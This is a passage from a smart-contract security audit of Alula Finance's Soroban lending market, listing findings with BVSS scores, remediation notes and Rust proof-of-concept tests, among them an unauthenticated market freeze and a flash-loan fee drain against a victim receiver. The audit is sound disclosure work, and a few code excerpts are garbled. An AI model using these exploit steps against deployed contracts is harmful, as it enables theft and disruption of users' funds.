The following PoC shows that any unprivileged user can freeze the market by calling `update_market_status`, bypassing the market admin authorization checks and forcing the Market into a `Frozen` state:

 Copy Code

```
#[test]
fn test_anyone_can_freeze_market_via_controlled_insurance_fund() {
    use controlled_insurance_fund::{
        ControlledInsuranceFundContract, ControlledInsuranceFundContractClient,
    };
    use market::contract::{MarketContract, MarketContractClient};
    use soroban_sdk::{Address, Env, IntoVal, String};
    use soroban_sdk::testutils::{Address as _, MockAuth, MockAuthInvoke};

    let e = Env::default();

    // Actors
    let market_admin = Address::generate(&e);
    let fund_admin = Address::generate(&e);
    let attacker = Address::generate(&e);

    // Market dependencies required by constructor
    let oracle = Address::generate(&e);
    let deployer = Address::generate(&e);

    // Deploy ControlledInsuranceFund
    let cif_addr = e.register(ControlledInsuranceFundContract, (&fund_admin,));
    let cif = ControlledInsuranceFundContractClient::new(&e, &cif_addr);

    // Deploy Market with insurance_fund = ControlledInsuranceFund
    let name = String::from_str(&e, "test-market");
    let max_positions: u32 = 2 * MAX_RESERVES;
```

```

let min_collateral_value_cents: i128 = 0;
let insolvency_ltv_bps: i128 = 0;
let update_in_queue_period: Option<u64> = Some(1);

let market_addr = e.register(
    MarketContract,
    (
        &name,
        &market_admin,
        &oracle,
        &cif_addr,
        &deployer,
        &max_positions,
        &min_collateral_value_cents,
        &insolvency_ltv_bps,
        &update_in_queue_period,
    ),
);
let market = MarketContractClient::new(&e, &market_addr);

// Setup: fund_admin sets the market address in the insurance fund.
// This call is admin gated, so we mock auth only for this call.
let set_market_invoke = MockAuthInvoke {
    contract: &cif_addr,
    fn_name: "set_market",
    args: (&market_addr,).into_val(&e),
    sub_invokes: &[],
};
let set_market_auth = [MockAuth { address: &fund_admin, invoke: &set_market_invoke }];
cif.mock_auths(&set_market_auth).set_market(&market_addr);

// Setup: move the market to Active via market admin (admin only).
// Owned markets may start Frozen depending on initialization.
let set_active_invoke = MockAuthInvoke {
    contract: &market_addr,
    fn_name: "update_market_status",
    args: (MarketStatus::Active as u32,).into_val(&e),
    sub_invokes: &[],
};
let set_active_auth = [MockAuth { address: &market_admin, invoke: &set_active_invoke }];
market
    .mock_auths(&set_active_auth)
    .update_market_status(&(MarketStatus::Active as u32));

assert_eq!(market.get_global_state().status, MarketStatus::Active as u32);

// Sanity: without auth, an unprivileged caller cannot use the admin only market endpoint.
assert!(market
    .try_update_market_status(&(MarketStatus::Frozen as u32))
    .is_err());
assert_eq!(market.get_global_state().status, MarketStatus::Active as u32);

// Attack: call ControlledInsuranceFund.update_market_status with NO auth.
// In Soroban tests, the relevant proof is that the call succeeds without require_auth.
// The "attacker" address is only documented intent here because the SDK client does not expose
// a "source account" setter in this codebase.
let _ = attacker;
cif.update_market_status(&(MarketStatus::Frozen as u32));

// It changes without going through market admin, the attack is real.
assert_eq!(market.get_global_state().status, MarketStatus::Frozen as u32);
}

```

The test execution was successful:

```
> RUSTFLAGS="-A dead_code" cargo test --package tests --lib -- update::test_anyone_can_freeze_market_via_controlled_insurance_fund --exact --nocapture
    Finished `test` profile [unoptimized + debuginfo] target(s) in 0.13s
    Running unittests src/lib.rs (target/debug/deps/tests-04d76fdf0c3b9f71)

running 1 test
Writing test snapshot file for test "update::test_anyone_can_freeze_market_via_controlled_insurance_fund" to "test_snapshots/update/test_anyone_can_freeze_market_via_controlled_insurance_fund.1.json".
test update::test_anyone_can_freeze_market_via_controlled_insurance_fund ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 151 filtered out; finished in 0.02s
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:H/I:H/D:N/Y:N (9.4)

Recommendation

It is recommended to require explicit authorization from a privileged role, such as a protocol admin or governance address, before allowing any call to `update_market_status` to change the market state.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/572c8822fac0b11031423a20a16acede477e7f5d>

7.5 REFERRER FEES CHARGED BUT NEVER DISTRIBUTED

// CRITICAL

Description

The **Market** contract computes and charges a referrer portion of deposit fees whenever a referrer is provided. This portion is deducted from the user with the expectation that it will be transferred to the designated address. However, the transfer structure responsible for executing token movements initializes the referrer transfer collection as empty, which prevents any transfer from being executed:

 Copy Code

```
85     pub fn new_with_user_transfers(  
86         e: &'a Env,  
87         user: Address,  
88         user_transfers: Map<Address, i128>,  
89         referrer: Option<Address>,  
90     ) -> Self {  
91         let referrer_fee_transfers = if referrer.is_some() { Some(smap![e]) } else { None };  
92  
93         Self {  
94             e,  
95             user,  
96             user_transfers,  
97             market_transfers: smap![e],  
98             referrer,  
99             referrer_fee_transfers,  
100         }  
101     }
```

 Copy Code

```
103     pub fn new_with_market_transfers(  
104         e: &'a Env,  
105         user: Address,  
106         market_transfers: Map<Address, i128>,  
107         referrer: Option<Address>,  
108     ) -> Self {  
109         let referrer_fee_transfers = if referrer.is_some() { Some(smap![e]) } else { None };  
110  
111         Self {  
112             e,  
113             user,  
114             market_transfers,  
115             user_transfers: smap![e],  
116             referrer,  
117             referrer_fee_transfers,  
118         }  
119     }
```

This results in a silent economic deviation where the pool retains the entire fee instead of splitting it according to the configured referral parameters. Furthermore, **the referrer has no option to claim these fees afterward**, meaning the charged referral portion becomes permanently inaccessible to its intended recipient. This behavior can undermine referral programs, create accounting inconsistencies between expected and actual distributions, and expose integrators to incorrect assumptions about incentive mechanics.

Affected functions:

- `deposit`
- `deposit_earn`
- `deposit_with_leverage`
- `add_collateral`
- `borrow`
- `remove_collateral`
- `withdraw`
- `submit_requests_batch`

Proof of Concept

The following PoC demonstrates that when a deposit is executed with a configured referrer fee, the protocol charges the referral portion but no tokens are transferred to the referrer. By comparing the referrer balance before and after the deposit, the test confirms that the referral fee is collected but not delivered to the intended recipient:

 Copy Code

```
#[test]
fn test_referrer_fee_is_charged_but_referrer_receives_zero() {
    use soroban_sdk::{Address, Map};

    let TestMarketFixture {
        e,
        contract_client,
        gold_pool_address,
        users,
        gold_token_client,
        ..
    } = TestMarketFixture::new();

    let depositor = &users[0];
    let referrer = Address::generate(&e);

    // Configure fees: 20% deposit fee, referrer share 50%.
    let pool_before = contract_client.get_pool(&gold_pool_address);
    let mut new_cfg = pool_before.config.clone();

    let deposit_fee_bps: u32 = 2_000;
    new_cfg.fee_config.deposit_fee_bps = deposit_fee_bps;

    let mut referrers: Map<Address, u32> = Map::new(&e);
    referrers.set(referrer.clone(), 5_000);
    new_cfg.fee_config.referrers = Some(referrers);

    contract_client.queue_in_pool_config_update(&gold_pool_address, &new_cfg);

    // Advance time so the queued config becomes eligible to apply.
    let gs = contract_client.get_global_state();
    if let Some(period) = gs.update_in_queue_period {
        if period > 0 {
            e.ledger().with_mut(|li| li.timestamp += period + 1);
        }
    }
    contract_client.apply_pool_config_update(&gold_pool_address);

    // Sanity: config applied.
    let pool_after_cfg = contract_client.get_pool(&gold_pool_address);
    assert_eq!(pool_after_cfg.config.fee_config.deposit_fee_bps, deposit_fee_bps);

    let ref_before = gold_token_client.balance(&referrer);
```

```

let amount: i128 = 1_000_000;
contract_client.deposit(depositor, &gold_pool_address, &amount, &Some(referrer.clone()));

// Sanity: referrer fee expected to be nonzero (otherwise test is meaningless).
let total_fee = (amount * deposit_fee_bps as i128) / BPS_FACTOR;
let expected_referrer_fee = total_fee / 2;
assert!(expected_referrer_fee > 0);

// Assertion: referrer received nothing.
let ref_after = gold_token_client.balance(&referrer);
assert_eq!(ref_after, ref_before);
}

```

The test execution was successful:

```

> RUSTFLAGS="-A dead_code" cargo test --package tests --lib -- deposit::test_referrer_fee_is_charged_but_referrer_receiv
es_zero --exact --nocapture
    Finished `test` profile [unoptimized + debuginfo] target(s) in 0.08s
    Running unittests src/lib.rs (target/debug/deps/tests-04d76fdf0c3b9f71)

running 1 test
Writing test snapshot file for test "deposit::test_referrer_fee_is_charged_but_referrer_receives_zero" to "test_snapshot
s/deposit/test_referrer_fee_is_charged_but_referrer_receives_zero.1.json".
test deposit::test_referrer_fee_is_charged_but_referrer_receives_zero ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 152 filtered out; finished in 0.18s

```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:N/Y:H (9.4)

Recommendation

It is recommended to populate `referrer_fee_transfers` with the calculated amounts whenever a referrer fee is applied and enforce a validation ensuring that charging a referrer fee always results in a corresponding transfer.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/43bc4e7045c3d2f04c075c5a3d9eb11c213fd6b8>

7.6 LIQUIDATION REPAYMENTS DESYNCHRONIZE POOL LIQUIDITY ACCOUNTING

// CRITICAL

Description

During the liquidation flow, debt repayment correctly reduces the pool outstanding debt but does not restore the corresponding available liquidity. In the **Market** contract, the `liquidate` entry point eventually repays debt through `pool::liquidation_repay_debt`. This function updates `total_borrowed`, but no increase to `total_available` is performed as part of the liquidation path:

 Copy Code

```
205     pub fn liquidation_repay_debt(  
206         &mut self,  
207         e: &Env,  
208         liquidation_result: &LiquidationResult,  
209     ) -> Result<(), MCErr<div data-bbox="30 555 942 641" data-label="Text">

In contrast, the regular repay flow explicitly reduces total_borrowed and increases total_available, keeping pool accounting aligned with actual token balances held by the contract. Liquidation also repays debt by transferring tokens back to the pool, so failing to update total_available causes internal accounting to diverge from real balances.


```

This mismatch leads to a persistent underestimation of available liquidity after liquidations. As a result, downstream logic that depends on `total_available`, such as utilization calculations, borrow limits, withdrawals and subsequent liquidations, may operate on incorrect data even though the pool holds sufficient tokens.

Step-by-step example

Debt repayment during liquidation does not fully update pool accounting:

1. A pool starts with `total_borrowed = 600` and `total_available = 400`, matching a real token balance of 400 available tokens.
2. A position becomes liquidatable and `Market::liquidate` is executed.
3. Inside the liquidation flow, debt repayment is processed through `pool::liquidation_repay_debt`.
4. `pool::liquidation_repay_debt` reduces `total_borrowed` by 100, resulting in `total_borrowed = 500`.
5. The liquidator transfers 100 tokens to the pool contract as part of the repayment.
6. `total_available` is not increased to reflect the incoming tokens and remains at 400.

7. The real pool balance now contains **500** available tokens, while internal accounting reports only **400**.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:L/I:H/D:M/Y:N (9.4)

Recommendation

It is recommended to increment the pool available liquidity by the exact amount of debt repaid during liquidation inside the liquidation repay logic, ensuring that internal accounting remains consistent with actual token balances and that all downstream liquidity dependent calculations operate on correct values.

Remediation Comment

SOLVED: The **Alula Finance team** solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/28a534c4f1a3fd44ad47e17bfa44c9d4ce586c96>

7.7 UNAUTHORIZED FEE DRAINING FROM FLASH LOAN RECEIVERS

// HIGH

Description

The `flash_loan` function in the **Market** contract and its internal handler `process_flash_loan` allow a third party to initiate a flash loan against an arbitrary receiver contract without that receiver's consent. The only authorization enforced in `flash_loan` is `caller.require_auth()`, and there is no validation that the specified receiver contract has approved the operation or that the caller is allowed to act on behalf of that receiver.

During execution, the market transfers the principal amount to the receiver, invokes the receiver callback via `exec_op` from the **ModErc3156** interface, and then unconditionally attempts to pull back `amount + fee` from the receiver using `transfer_from`. This flow assumes that any receiver passed as a parameter is a willing participant in the flash loan, but that assumption is never enforced on chain.

As a result, if a receiver contract has approved the market to transfer tokens on its behalf, any external caller can repeatedly trigger flash loans against it, causing the receiver to pay the flash loan fee on every invocation even though it did not initiate or authorize the operation. This enables a malicious actor to drain funds from a receiver contract in the form of accumulated flash loan fees, with no involvement or consent from the receiver.

Proof of Concept

This receiver contract is a minimal flash loan consumer that implements the **ModErc3156** callback `exec_op`. It intentionally does not perform any access control on who is allowed to trigger a flash loan against it and simply approves the market to pull back the principal plus fee. This models a realistic receiver contract that assumes only authorized parties will initiate flash loans on its behalf:

 Copy Code

```
const SEED_CALL_AMOUNT: i128 = 100; // first call seeds a small balance inside the victim

#[contract]
pub struct FeeDrainVictimContract;

#[contractimpl]
impl ModErc3156 for FeeDrainVictimContract {
    fn exec_op(e: Env, caller: Address, token: Address, amount: i128, fee_bps: i128) {
        // `caller` is the Market contract address (the invoker).
        // IMPORTANT: this callback does NOT know who initiated `Market.flash_loan`.
        // If this contract does not implement its own access control, anyone can trigger it via Market.

        let sac_client = StellarAssetClient::new(&e, &token);

        // Seed the victim once so we can prove a real balance decrease later without minting in the test.
        // This uses the exact same mint pattern as the existing FlashLoanTakerContract that already passes tests.
        if amount == SEED_CALL_AMOUNT {
            sac_client.mint(&e.current_contract_address(), &(amount / 10));
        }

        // Approve the Market to pull back principal + fee.
```

```

let fee = amount.fixed_mul_ceil(fee_bps, BPS_FACTOR).unwrap();
let repay = amount + fee;

sac_client.approve(
    &e.current_contract_address(),
    &caller, // Market address
    &repay,
    &(e.ledger().sequence()),
);
}
}

```

The PoC below demonstrates that a third party can initiate a flash loan against a receiver contract via `flash_loan` in the **Market** contract, causing the receiver callback `exec_op` from the **ModErc3156** interface to be executed and forcing the receiver to pay the flash loan fee even though it did not initiate or authorize the operation:

 Copy Code

```

#[test]
fn test_attacker_can_force_fee_drain_on_third_party_flash_loan_receiver() {
    let test_fixture = TestMarketFixture::new();

    // Pool must have liquidity for the flash loan
    let lender = &test_fixture.users[0];
    test_fixture.contract_client.deposit(
        lender,
        &test_fixture.usdc_pool_address,
        &DEFAULT_DEPOSIT_AMOUNT,
        &None,
    );

    // Deploy the "victim" receiver contract
    let victim_contract_id = test_fixture.e.register(FeeDrainVictimContract, ());

    // Attacker is just a normal user address that can auth as itself
    let attacker = &test_fixture.users[1];

    // Get the underlying token address from the pool
    let usdc_pool = test_fixture
        .contract_client
        .get_pool(&test_fixture.usdc_pool_address);
    let token_addr = usdc_pool.token_address.clone();

    let token_client = TokenClient::new(&test_fixture.e, &token_addr);

    // 1) Seed the victim contract balance via one legitimate flash loan call
    // This makes sure we can later observe an actual balance decrease.
    test_fixture.contract_client.flash_loan(
        &victim_contract_id,
        lender, // any authorized caller works
        &test_fixture.usdc_pool_address,
        &SEED_CALL_AMOUNT,
    );

    let seeded_balance = token_client.balance(&victim_contract_id);
    assert!(seeded_balance > 0, "Victim contract should have a non-zero balance after seeding");

    // 2) Now the attacker triggers a flash loan AGAINST the victim contract.
    // Victim did not authorize this initiation.
    let fee_bps = usdc_pool.config.flash_loan_fee_bps as i128;
    let expected_fee = DRAIN_CALL_AMOUNT
        .fixed_mul_ceil(fee_bps, BPS_FACTOR)
        .unwrap();

    let before = token_client.balance(&victim_contract_id);

    test_fixture.contract_client.flash_loan(
        &victim_contract_id,

```

```

        attacker, // attacker is the initiator
        &test_fixture.usdc_pool_address,
        &DRAIN_CALL_AMOUNT,
    );

    let after = token_client.balance(&victim_contract_id);

    // The victim receives `amount` then repays `amount + fee`, so net change is `-fee`.
    assert_eq!(
        before - after,
        expected_fee,
        "Attacker should be able to force the victim to pay flash-loan fees"
    );
}
}

```

The test execution was successful:

```

> cargo test --package flash_loan_taker_mock --lib -- test::test_attacker_can_force_fee_drain_on_third_party_flash_loan_receiver --exact --nocapture
    Finished `test` profile [unoptimized + debuginfo] target(s) in 0.09s
    Running unittests src/lib.rs ([REDACTED]/target/debug/deps/flash_loan_taker_mock-54e97edffb316199)

running 1 test
Writing test snapshot file for test "test::test_attacker_can_force_fee_drain_on_third_party_flash_loan_receiver" to "test_snapshots/test/test_attacker_can_force_fee_drain_on_third_party_flash_loan_receiver.1.json".
test test::test_attacker_can_force_fee_drain_on_third_party_flash_loan_receiver ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 4 filtered out; finished in 0.22s

```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:H (7.5)

Recommendation

It is recommended to enforce explicit receiver consent at the protocol level before executing a flash loan, by ensuring that the specified receiver has authorized the operation or the initiating caller, so that third parties cannot trigger flash loans against a receiver contract without its approval.

Remediation Comment

PARTIALLY SOLVED: The **Alula Finance** team partially addressed the issue by providing a receiver side template intended to enforce authorization before accepting flash loan callbacks. However, the core protocol still does not validate receiver consent at the market level, leaving the protection dependent on external implementations and exposing receivers that do not adopt the template to unauthorized fee charges.

Remediation Hash

<https://gist.github.com/khomiakmaxim/f8c9f274d59db08a9f11cd4dbf317be2>

7.8 ZERO ORACLE PRICE IS ACCEPTED AS VALID AND PROPAGATED TO VALUATION LOGIC

// HIGH

Description

The system allows a price equal to zero to be treated as valid and propagated into core valuation logic. This behavior originates at the oracle aggregation layer and is later accepted at the consumption boundary, enabling a zero price to impact collateral and debt calculations. As a result, asset valuation may collapse to zero, potentially triggering unintended liquidations, blocking withdrawals or distorting borrowing capacity and health factor checks. This creates a fragile dependency on external oracle behavior and weakens assumptions about strictly positive pricing across the protocol.

The behavior manifests in three distinct layers:

- In the aggregated oracle contract, the function `computations::get_last_price` includes oracle responses with `price <= 0` in the aggregation flow and allows zero to be returned as the median output.
- In the **Market** contract, the function `oracle::get_asset_price` only enforces that the returned value is non negative, meaning a zero price is accepted as valid and can directly influence collateral and debt valuation.
- In the `soroswap_sep_40_adapter` contract, the function `swap::get_price` can return a zero price due to integer division when computing the reserve ratio, and it does not reject a computed value of `0`, allowing `PriceData.price = 0` to be returned even when the underlying pool state is not intended to represent a zero price.

BVSS

AO:A/AC:M/AX:L/R:N/S:U/C:N/A:N/I:C/D:L/Y:L (7.5)

Recommendation

It is recommended to enforce that all prices are strictly positive at the aggregation layer, at any adapter based price computation, and at the consumption boundary, rejecting zero and negative values before they can be used in median computation or valuation logic.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/0188b55ba56d3d7578f6c968e24ab40d25ca2131>

7.9 SPOT RESERVE PRICE CAN BE MANIPULATED AND USED AS AN ORACLE OUTPUT

// HIGH

Description

In the `soroswap_sep_40_adapter` contract, the `contract::lastprice` function derives the returned price from `swap::get_price`, which computes a spot ratio directly from current pool reserves returned by `get_reserves`:

 Copy Code

```
7 pub fn get_price(e: &Env, token_address: Address) -> Option<i128> {
8     let usdc_sac_address = Address::from_str(e, USDC_SAC_ADDRESS);
9
10    let price = if token_address == usdc_sac_address {
11        PRICE_SCALING_FACTOR // '1' scaled
12    } else {
13        let (reserve_0, reserve_1) =
14            get_reserves(e, &Address::from_str(e, USDC_SAC_ADDRESS), &token_address);
15
16        // See: https://github.com/soroswap/core/blob/main/contracts/library/src/tokens.rs#L37
17        let (token_reserve, usdc_reserve) = if token_address < usdc_sac_address {
18            (reserve_0, reserve_1)
19        } else {
20            (reserve_1, reserve_0)
21        };
22
23        let usdc_reserve_scaled = usdc_reserve
24            .checked_mul(PRICE_SCALING_FACTOR)
25            .unwrap_or_else(|| panic_with_error!(e, SS40ACError::OverOrUnderflow));
26
27        // 'price_y' = (reserve_x / reserve_y)
28        usdc_reserve_scaled
29            .checked_div(token_reserve)
30            .unwrap_or_else(|| panic_with_error!(e, SS40ACError::OverOrUnderflow))
31    };
32
33    Some(price)
34 }
```

Because this price is based on an instantaneous pool state, any actor able to influence the pool reserves can temporarily skew the computed ratio and have `lastprice` return an artificial price. If this output is consumed for valuation or risk decisions, the attacker can exploit the manipulated price to affect collateral valuation, borrowing limits, or other value sensitive checks.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:N/Y:N (7.5)

Recommendation

It is recommended to avoid using spot reserve ratios as an oracle output for value sensitive decisions by switching to a manipulation resistant price source such as a time weighted average price, an external

oracle, or a median of independent sources, and to enforce strict validity checks on the returned value before it can be consumed by valuation logic.

Remediation Comment

RISK ACCEPTED: The **Alula Finance team** accepted the risk of this finding, and stated the following:

As mentioned in the messenger discussion, we are aware that spot prices can be manipulated, and we don't have a plan to use a SEP-40 adapter as a price source. The main purpose of the soroswap_sep_40_adapter was to produce a somewhat coherent price with what multiply endpoints produce on the "testnet" only.

7.10 POOL SUPPLY LIMIT CAN BE BYPASSED VIA DONATION

// MEDIUM

Description

In **Market** contract, the pool supply limit is enforced during deposits through `process_deposit`, where the new total supply is validated against `supply_limit` before allowing the operation. However, the `donate` function increases `total_available` directly without validating it against `supply_limit`:

 Copy Code

```
940 fn donate(e: Env, user: Address, pool_address: Address, amount: i128) -> Result<(), MError> {
941     user.require_auth();
942     require_nonnegative(amount)?;
943     storage::extend_instance_storage(&e);
944
945     let mut pool = Pool::try_get(&e, &pool_address)?;
946     pool accrue_interest(&e)?;
947     pool.adjust_total_available(&e, amount)?;
948     pool.set(&e);
949
950     let token_client = token::Client::new(&e, &pool.token_address);
951     token_client.transfer(&user, e.current_contract_address(), &amount);
952
953     Ok(())
954 }
```

Since `total_available` represents effective pool liquidity and is used in utilization and interest rate calculations, this allows the pool to exceed the configured supply cap through a valid execution path. As a result, the intended supply constraint enforced during deposits can be bypassed by increasing pool liquidity via `donate`.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:M/D:N/Y:N (5.0)

Recommendation

It is recommended to enforce the pool supply limit consistently across all mechanisms that increase effective pool liquidity, ensuring that the configured cap cannot be exceeded through alternative execution paths.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/b70df6b91b2dcb1bdd57e59b3bd39086ccbc102e>

7.11 GLOBAL PROTOCOL STATE CAN BE IRREVERSIBLY ERASED BY AN ADMINISTRATIVE ACTION

// MEDIUM

Description

The **Market** contract exposes an administrative mechanism that allows removing all critical protocol state in a single transaction. The `reset_storage` function deletes all obligations, pools and multiply pairs from storage without any additional safeguards, delays or scope limitations, effectively wiping the entire economic state of the protocol, including user positions and accounting data:

```
1465 | fn reset_storage(e: Env) {  
1466 |     require_admin(&e);  
1467 |  
1468 |     storage::remove_all_obligations(&e);  
1469 |     storage::remove_all_pools(&e);  
1470 |     storage::remove_all_multiply_pairs(&e);  
1471 | }
```

 Copy Code

Even though access is restricted, the presence of this capability introduces a single point of catastrophic failure. Any compromised admin key, operational mistake, or misconfiguration would result in permanent and unrecoverable loss of protocol state.

BVSS

AO:A/AC:L/AX:H/R:N/S:U/C:N/A:N/I:C/D:C/Y:C (5.0)

Recommendation

It is recommended to remove this capability entirely from production deployments or to permanently disable it before mainnet launch, ensuring that no single action can irreversibly erase global protocol state.

Remediation Comment

SOLVED: The **Alula Finance team** solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/c87a0cb4407b2d5c629344a262bb7c5066e5f08e>

7.12 LIQUIDITY FRAGMENTATION THROUGH MULTIPLE POOLS FOR THE SAME ASSET

// MEDIUM

Description

The **Market** contract allows the creation of multiple distinct pools that reference the same underlying token. In the `initialize_pool` function, a pool identifier is derived either directly from the token address or from a salted address when a salt is provided, enabling multiple pools to coexist for the same asset:

```
97 |     let pool_address: Address = if let Some(salt) = salt {
98 |         e.deployer().with_address(token_address.clone(), salt.clone()).deployed_address()
99 |     } else {
100 |         token_address.clone()
101 |     };
102 |
103 |     Pool::require_does_not_exist(e, &pool_address)?
```

 Copy Code

While this design supports configuration isolation and risk segregation, it also causes **liquidity for a single asset to be split across multiple pools**. This fragmentation can reduce capital efficiency, complicate routing and price discovery, and introduce uneven utilization or risk exposure across pools that are economically equivalent but operationally separate.

This behavior is inherent to the pool initialization logic and is not constrained or normalized at a higher layer, meaning the fragmentation effect applies to every asset where multiple pools are created.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:H/D:N/Y:N (5.0)

Recommendation

It is recommended to either enforce a canonical pool per asset or introduce a higher layer mechanism that explicitly manages multiple pools for the same token, such as aggregation, routing, or clear constraints on when pool duplication is expected and safe.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/89faf764c648e9ed0fb4cf61b7f634ceab853b62>

7.13 MULTIPLY PAIR CONFIGURATION ALLOWS IDENTICAL UNDERLYING ASSETS ON BOTH SIDES

// MEDIUM

Description

The **Market** contract allows the creation of multiply pairs where both sides of the pair reference pools backed by the same underlying token. In the `initialize_multiply_pair` and `process_initialize_multiply_pair` functions, the current validation logic ensures that both pools exist and that their addresses are different, but **it does not enforce that the underlying token addresses differ**.

As a result, two distinct pool identifiers that point to the same token can be paired together. This can lead to multiply configurations where the leverage flow operates on a single underlying asset, despite assuming distinct input and output assets when constructing swap paths and pair lookups. Such configurations can introduce ambiguous behavior, unexpected routing outcomes, or incorrect economic assumptions in leverage and liquidation flows.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:H/D:N/Y:N (5.0)

Recommendation

It is recommended to explicitly enforce that multiply pairs reference pools backed by different underlying assets or to clearly validate and constrain same asset pairs if they are intended, ensuring that all downstream flows correctly handle this configuration.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/89faf764c648e9ed0fb4cf61b7f634ceab853b62>

7.14 RESERVED FEE LIQUIDITY CAN BE TREATED AS WITHDRAWABLE OR LENDABLE LIQUIDITY

// MEDIUM

Description

In the **Market** contract, the `processors::require_total_available` function validates liquidity using the `Pool.total_available` storage field rather than the `Pool::total_available()` method:

 Copy Code

```
463 |     pub fn require_total_available(&self, required: i128) -> Result<(), MError> {  
464 |         if required > self.total_available {  
465 |             return Err(MError::NotEnoughPoolFunds);  
466 |         }  
467 |  
468 |         Ok::<>()  
469 |     }
```

The mentioned method subtracts `take_rate_fees_sum` and represents net liquidity that should remain available to fund take rate fee beneficiaries. By checking the raw field instead of the net value, flows that rely on `require_total_available` can pass even when the pool only has liquidity reserved for take rate fees. This breaks accounting coherence because `take_rate_fees_sum` can become underfunded in net terms, which can prevent `processors::process_distribute_pool_fees` from transferring the expected take rate amounts and can cause fee obligations to be treated as general liquidity.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:M/D:N/Y:N (5.0)

Recommendation

It is recommended to update the liquidity validation to use the net available liquidity calculation that excludes `take_rate_fees_sum`, ensuring that reserved fee amounts are never treated as available liquidity for lending or withdrawals and that fee distribution remains consistently funded.

Remediation Comment

SOLVED: The **Alula Finance team** solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/6622ad5def7e4829c5f23a21d7033f8bfe6c25f0>

7.15 SWAP EXECUTION DOES NOT ALLOW USER DEFINED MINIMUM OUTPUT PROTECTION

// MEDIUM

Description

In the `Market` contract, the function `Market::swap` delegates to `processors::process_swap_exact_tokens`, which computes `amount_out` internally using `swap::get_amount_out` and then executes the swap through `swap::swap_exact_tokens_for_tokens` using a minimum output derived from that computed value and a fixed `DEFAULT_MAX_SLIPPAGE_BPS`. The caller is not allowed to provide a custom minimum output or price limit parameter:

 Copy Code

```
1306 pub fn process_swap_exact_tokens(  
1307     e: &Env,  
1308     user: &Address,  
1309     token_in: &Address,  
1310     token_out: &Address,  
1311     amount_in: i128,  
1312 ) -> Result<i128, MCErr> {  
1313     require_nonnegative(amount_in)?;  
1314  
1315     // Since `amount_out` is calculated within the call, there's no price slippage  
1316     let amount_out = swap::get_amount_out(e, token_in, token_out, amount_in)?;  
1317  
1318     let received_amount = swap::swap_exact_tokens_for_tokens(  
1319         e, user, token_in, token_out, amount_in, amount_out, None,  
1320     )?;  
1321  
1322     events::swap(e, user, token_in, token_out, amount_in, amount_out, received_amount);  
1323  
1324     Ok(received_amount)  
1325 }
```

Because the expected output is calculated on chain at execution time using the current DEX state, any short term price manipulation or liquidity shift that occurs immediately before transaction inclusion will be reflected in the computed `amount_out`. The transaction will then execute using that manipulated quote as reference, bounded only by a protocol defined slippage constant rather than a user defined constraint. This removes the user ability to enforce their own price protection and can result in economically unfavorable swaps without violating any protocol invariant.

BVSS

AO:A/AC:L/AX:M/R:N/S:U/C:N/A:N/I:N/D:H/Y:N (5.0)

Recommendation

It is recommended to require the caller to provide a minimum acceptable output parameter and to enforce that the actual swap result meets or exceeds that value, ensuring that users retain explicit control over slippage tolerance and price protection.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/2f2c48d64bf50b2b9c389a949ae6bd318bcd3856>

7.16 LEVERAGED DEPOSIT CAN MISACCOUNT BORROW AND REFERRER FEES

// MEDIUM

Description

In the **Market** contract, the `processors::process_deposit_with_leverage` function creates debt by calling `processors::process_borrow`, but the leveraged flow manually transfers tokens to the user before the borrow is recorded. Because the payout in this flow is not derived from the borrow logic's net calculation, any configured `borrow_fee_bps` or referrer fee can be recorded in accounting without being properly funded through a corresponding reduction in the user's received amount.

In a normal borrow flow, protocol and referrer fees are funded by reducing the borrower's received amount. In the leveraged deposit flow, the user receives a precomputed amount that does not account for those deductions. As a result, if `borrow_fee_bps` is greater than zero or a referrer fee applies, the protocol can register fees in `operation_fees_sum` that are not backed by actual token balance changes. This creates a mismatch between accounting state and real liquidity and can cause fee distribution failures or inconsistent protocol revenue tracking.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:M (5.0)

Recommendation

It is recommended to either enforce that borrow and referrer fees are disabled for leveraged deposit flows or to adjust the leveraged payout logic so that any borrow and referrer fees are correctly deducted and funded before updating fee accounting.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/b7d772a99535bed8527198d35cbf7cb7dd73f671>

7.17 REPAY FEE CAN PREVENT FULL DEBT CLOSURE IN LEVERAGED WITHDRAWAL FLOW

// MEDIUM

Description

